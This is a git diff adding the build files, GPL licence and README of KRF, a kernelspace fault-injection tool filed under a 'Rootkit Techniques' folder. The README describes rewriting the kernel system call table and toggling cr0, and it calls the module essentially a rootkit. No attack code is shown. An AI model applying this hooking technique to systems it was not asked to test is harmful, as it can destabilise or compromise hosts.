+DerivePointerAlignment: false +DisableFormat: false +ExperimentalAutoDetectBinPacking: false +FixNamespaceComments: true +ForEachMacros: + - foreach + - Q_FOREACH + - BOOST_FOREACH +IncludeBlocks: Preserve +IncludeCategories: + - Regex: '^"(llvm|llvm-c|clang|clang-c)/' + Priority: 2 + - Regex: '^(<|"(gtest|gmock|isl|json)/)' + Priority: 3 + - Regex: '.*' + Priority: 1 +IncludeIsMainRegex: '(Test)?$' +IndentCaseLabels: false +IndentPPDirectives: None +IndentWidth: 2 +IndentWrappedFunctionNames: false +JavaScriptQuotes: Leave +JavaScriptWrapImports: true +KeepEmptyLinesAtTheStartOfBlocks: true +MacroBlockBegin: '' +MacroBlockEnd: '' +MaxEmptyLinesToKeep: 1 +NamespaceIndentation: None +ObjCBlockIndentWidth: 2 +ObjCSpaceAfterProperty: false +ObjCSpaceBeforeProtocolList: true +PenaltyBreakAssignment: 2 +PenaltyBreakBeforeFirstCallParameter: 19 +PenaltyBreakComment: 300 +PenaltyBreakFirstLessLess: 120 +PenaltyBreakString: 1000 +PenaltyExcessCharacter: 1000000 +PenaltyReturnTypeOnItsOwnLine: 60 +PointerAlignment: Right +ReflowComments: true +SortIncludes: false +SpaceAfterCStyleCast: false +SpaceBeforeAssignmentOperators: true +SpaceBeforeParens: ControlStatements +SpaceInEmptyParentheses: false +SpacesBeforeTrailingComments: 1 +SpacesInAngles: false +SpacesInContainerLiterals: true +SpacesInCStyleCastParentheses: false +SpacesInParentheses: false +SpacesInSquareBrackets: false +Standard: Cpp11 +TabWidth: 2 +UseTab: Never +... + diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/.editorconfig b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/.editorconfig new file mode 100644 index 0000000..7056e33 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/.editorconfig @@ -0,0 +1,13 @@ +root = true + +[*] +end_of_line = lf +insert_final_newline = true +trim_trailing_whitespace = true + +[*.{c,h}] +indent_style = space +indent_size = 2 + +[Makefile] +indent_style = tab diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/.github/workflows/ci.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/.github/workflows/ci.yml new file mode 100644 index 0000000..ae8386d --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/.github/workflows/ci.yml @@ -0,0 +1,41 @@ +name: CI + +on: + push: + branches: + - master + pull_request: + schedule: + # run CI every day even if no PRs/merges occur + - cron: '0 12 * * *' + +jobs: + lint: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v2 + - name: Install dependencies + run: sudo apt install -y cppcheck clang-format-7 + - name: Lint + run: | + make CLANG_FORMAT=clang-format-7 fmt && git diff --exit-code + cppcheck --error-exitcode=1 src/ + build: + strategy: + matrix: + platform: ["ubuntu-18.04", "ubuntu-20.04"] + env: + - FAULTS: conservative + - FAULTS: + runs-on: ${{ matrix.platform }} + steps: + - uses: actions/checkout@v2 + - uses: actions/setup-ruby@v1 + with: + ruby-version: "2.7" + - name: Install dependencies + run: sudo apt install -y ruby build-essential linux-headers-$(uname -r) + - name: Build + env: + FAULTS: ${{ matrix.env.FAULTS }} + run: make diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/.gitignore b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/.gitignore new file mode 100644 index 0000000..0238a5c --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/.gitignore @@ -0,0 +1,21 @@ +*.o +*.ko +*.o.ur-safe +*.cache.mk +Module.symvers +*.mod.c +modules.order +.tmp_versions +.vagrant/ +*.gen.x +*.gen.h +*.gen.c +*.cmd +*~ +src/krfexec/krfexec +src/krfctl/krfctl +src/krfmesg/krfmesg +src/module/codegen/.*.mk +*.bak +example/* +!example/*.{c,h} diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/LICENSE b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/LICENSE new file mode 100644 index 0000000..f288702 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/LICENSE @@ -0,0 +1,674 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + Copyright (C) + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/Makefile b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/Makefile new file mode 100644 index 0000000..b2f77e5 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/Makefile @@ -0,0 +1,61 @@ +export CFLAGS := -std=gnu99 -Wall -Werror -pedantic +export PLATFORM := $(shell uname -s | tr '[:upper:]' '[:lower:]') + +CLANG_FORMAT := clang-format +ALL_SRCS := $(shell find . -type f \( -name '*.c' -o -name '*.h' \)) +PREFIX = /usr/local + +all: module krfexec krfctl krfmesg example + +.PHONY: module +module: + $(MAKE) -C src/module/$(PLATFORM) module + +.PHONY: krfexec +krfexec: + $(MAKE) -C src/krfexec + +.PHONY: krfctl +krfctl: + $(MAKE) -C src/krfctl + +.PHONY: krfmesg +krfmesg: + $(MAKE) -C src/krfmesg + +.PHONY: insmod +insmod: + $(MAKE) -C src/module/$(PLATFORM) insmod + +.PHONY: rmmod +rmmod: + $(MAKE) -C src/module/$(PLATFORM) rmmod + +.PHONY: example +example: + $(MAKE) -C example + +.PHONY: clean +clean: + $(MAKE) -C src/module/$(PLATFORM) clean + $(MAKE) -C src/krfexec clean + $(MAKE) -C src/krfctl clean + $(MAKE) -C example clean + +.PHONY: fmt +fmt: + $(CLANG_FORMAT) -i -style=file $(ALL_SRCS) + +.PHONY: install-module +install-module: module + $(MAKE) -C src/module/$(PLATFORM) install + +.PHONY: install-utils +install-utils: krfexec krfctl krfmesg + install -d $(DESTDIR)$(PREFIX)/bin + install src/krfexec/krfexec $(DESTDIR)$(PREFIX)/bin + install src/krfctl/krfctl $(DESTDIR)$(PREFIX)/bin + install src/krfmesg/krfmesg $(DESTDIR)$(PREFIX)/bin + +.PHONY: install +install: install-module install-utils diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/README.md b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/README.md new file mode 100644 index 0000000..3ea54cd --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/README.md @@ -0,0 +1,258 @@ +KRF +=== + +[![Build Status](https://img.shields.io/github/workflow/status/trailofbits/krf/CI/master)](https://github.com/trailofbits/krf/actions?query=workflow%3ACI) + +KRF is a **K**ernelspace **R**andomized **F**aulter. + +It currently supports the Linux and FreeBSD kernels. + +## What? + +[Fault injection](https://en.wikipedia.org/wiki/Fault_injection) is a software testing technique +that involves inducing failures ("faults") in the functions called by a program. If the callee +has failed to perform proper error checking and handling, these faults can result in unreliable +application behavior or exploitable vulnerabilities. + +Unlike the many userspace fault injection systems out there, KRF runs in kernelspace +via a loaded module. This has several advantages: + +* It works on static binaries, as it does not rely on `LD_PRELOAD` for injection. +* Because it intercepts raw syscalls and not their libc wrappers, it can inject faults +into calls made by `syscall(3)` or inline assembly. +* It's probably faster and less error-prone than futzing with `dlsym`. + +There are also several disadvantages: + +* You'll probably need to build it yourself. +* It probably only works on x86(_64), since it twiddles `cr0` manually. There is probably +an architecture-independent way to do that in Linux, somewhere. +* It's essentially a rootkit. You should definitely never, ever run it on a non-testing system. +* It probably doesn't cover everything that the Linux kernel expects of syscalls, and may +destabilize its host in weird and difficult to reproduce ways. + +## How does it work? + +KRF rewrites the Linux or FreeBSD system call table: when configured via `krfctl`, KRF replaces faultable +syscalls with thin wrappers. + +Each wrapper then performs a check to see whether the call should be faulted using a configurable targeting system capable of targeting a specific `personality(2)`, PID, UID, and/or GID. If the process **shouldn't** be faulted, the original syscall is +invoked. + +Finally, the targeted call is faulted via a random failure function. For example, +a `read(2)` call might receive one of `EBADF`, `EINTR`, `EIO`, and so on. + +You can read more about KRF's implementation +[in our blog post](https://blog.trailofbits.com/2019/01/17/how-to-write-a-rootkit-without-really-trying/). + +## Setup + +### Compatibility + +**NOTE**: If you have Vagrant, just use the Vagrantfile and jump to the build steps. + +KRF should work on any recent-ish (4.15+) Linux kernel with `CONFIG_KALLSYMS=1`. + +This includes the default kernel on Ubuntu 18.04 and probably many other recent distros. + +### Dependencies + +**NOTE**: Ignore this if you're using Vagrant. + +Apart from a C toolchain (GCC is probably necessary for Linux), KRF's only dependencies should be +`libelf`, the kernel headers, and Ruby (>=2.4, for code generation). + +GNU Make is required on all platforms; FreeBSD *additionally* requires BSD Make. + +For systems with `apt`: + +```bash +sudo apt install gcc make libelf-dev ruby linux-headers-$(uname -r) +``` + +### Building + +```bash +git clone https://github.com/trailofbits/krf && cd krf +make 